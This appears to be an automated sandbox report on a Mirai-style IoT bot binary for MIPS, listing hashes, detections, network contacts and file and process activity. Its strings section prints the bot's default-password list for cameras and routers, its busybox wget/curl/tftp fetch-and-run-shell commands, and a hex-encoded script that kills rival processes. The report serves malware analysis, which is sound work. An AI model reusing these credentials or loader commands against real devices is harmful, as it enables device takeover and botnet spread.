Linux Analysis Report
la.bot.mipsel.elf

Overview

General Information

Sample name: la.bot.mipsel.elf
Analysis ID: 1542027
MD5: 1d44cb04e31092b9faa33bfe982b8586
SHA1: a1ad44731859306927fdf48ca17cdc0b3150a225
SHA256: 95e2e81d50b8049de16eee464eb88c80f375eff5fc03f4763470b6055cae8b20
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: la.bot.mipsel.elf ReversingLabs: Detection: 31%
Source: la.bot.mipsel.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mipsel.elf String: '/proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: la.bot.mipsel.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: global traffic TCP traffic: 192.168.2.23:42154 -> 103.253.147.242:7193
Source: /tmp/la.bot.mipsel.elf (PID: 6239) Socket: 127.0.0.1:1234 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 145.1.73.251
Source: unknown TCP traffic detected without corresponding DNS query: 145.1.73.251
Source: unknown TCP traffic detected without corresponding DNS query: 96.174.234.103
Source: unknown TCP traffic detected without corresponding DNS query: 96.174.234.103
Source: unknown TCP traffic detected without corresponding DNS query: 8.168.17.238
Source: unknown TCP traffic detected without corresponding DNS query: 170.86.80.49
Source: unknown TCP traffic detected without corresponding DNS query: 8.168.17.238
Source: unknown TCP traffic detected without corresponding DNS query: 213.204.255.245
Source: unknown TCP traffic detected without corresponding DNS query: 170.86.80.49
Source: unknown TCP traffic detected without corresponding DNS query: 31.9.178.58
Source: unknown TCP traffic detected without corresponding DNS query: 213.204.255.245
Source: unknown TCP traffic detected without corresponding DNS query: 65.131.254.135
Source: unknown TCP traffic detected without corresponding DNS query: 31.9.178.58
Source: unknown TCP traffic detected without corresponding DNS query: 32.182.47.89
Source: unknown TCP traffic detected without corresponding DNS query: 65.131.254.135
Source: unknown TCP traffic detected without corresponding DNS query: 32.182.47.89
Source: unknown TCP traffic detected without corresponding DNS query: 136.144.129.230
Source: unknown TCP traffic detected without corresponding DNS query: 122.2.23.23
Source: unknown TCP traffic detected without corresponding DNS query: 144.144.113.228
Source: unknown TCP traffic detected without corresponding DNS query: 136.144.129.230
Source: unknown TCP traffic detected without corresponding DNS query: 201.78.90.191
Source: unknown TCP traffic detected without corresponding DNS query: 122.2.23.23
Source: unknown TCP traffic detected without corresponding DNS query: 73.83.216.242
Source: unknown TCP traffic detected without corresponding DNS query: 144.144.113.228
Source: unknown TCP traffic detected without corresponding DNS query: 49.116.255.13
Source: unknown TCP traffic detected without corresponding DNS query: 201.78.90.191
Source: unknown TCP traffic detected without corresponding DNS query: 160.234.116.189
Source: unknown TCP traffic detected without corresponding DNS query: 73.83.216.242
Source: unknown TCP traffic detected without corresponding DNS query: 185.67.149.117
Source: unknown TCP traffic detected without corresponding DNS query: 49.116.255.13
Source: unknown TCP traffic detected without corresponding DNS query: 160.35.188.83
Source: unknown TCP traffic detected without corresponding DNS query: 160.234.116.189
Source: unknown TCP traffic detected without corresponding DNS query: 23.54.171.103
Source: unknown TCP traffic detected without corresponding DNS query: 185.67.149.117
Source: unknown TCP traffic detected without corresponding DNS query: 160.35.188.83
Source: unknown TCP traffic detected without corresponding DNS query: 115.73.211.114
Source: unknown TCP traffic detected without corresponding DNS query: 23.54.171.103
Source: unknown TCP traffic detected without corresponding DNS query: 109.218.134.9
Source: unknown TCP traffic detected without corresponding DNS query: 105.88.250.37
Source: unknown TCP traffic detected without corresponding DNS query: 115.73.211.114
Source: unknown TCP traffic detected without corresponding DNS query: 150.20.203.195
Source: unknown TCP traffic detected without corresponding DNS query: 109.218.134.9
Source: unknown TCP traffic detected without corresponding DNS query: 12.59.76.164
Source: unknown TCP traffic detected without corresponding DNS query: 105.88.250.37
Source: unknown TCP traffic detected without corresponding DNS query: 143.209.3.248
Source: unknown TCP traffic detected without corresponding DNS query: 150.20.203.195
Source: unknown TCP traffic detected without corresponding DNS query: 213.105.52.62
Source: unknown TCP traffic detected without corresponding DNS query: 12.59.76.164
Source: unknown TCP traffic detected without corresponding DNS query: 218.228.86.187
Source: la.bot.mipsel.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mipsel.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/la.bot.mipsel.elf (PID: 6241) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal56.evad.linELF@0/0@0/0

Data Obfuscation

barindex
Source: /tmp/la.bot.mipsel.elf (PID: 6242) File: /etc/config Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6242) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6242) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6242) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6242) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6242) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6242) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6242) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6242) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6242) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6242) Directory: /etc/.java Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/793/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/772/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/796/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/774/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/797/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/777/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/799/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/658/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/759/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/761/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/785/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/884/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/788/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/789/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6241) File opened: /proc/904/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/la.bot.mipsel.elf (PID: 6242) Log files deleted: /var/log/kern.log Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6239) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mipsel.elf, 6239.1.00007ffc5f6d8000.00007ffc5f6f9000.rw-.sdmp Binary or memory string: 8Ux86_64/usr/bin/qemu-mipsel/tmp/la.bot.mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mipsel.elf
Source: la.bot.mipsel.elf, 6239.1.0000558cc630d000.0000558cc63b4000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6239.1.0000558cc630d000.0000558cc63b4000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6239.1.00007ffc5f6d8000.00007ffc5f6f9000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs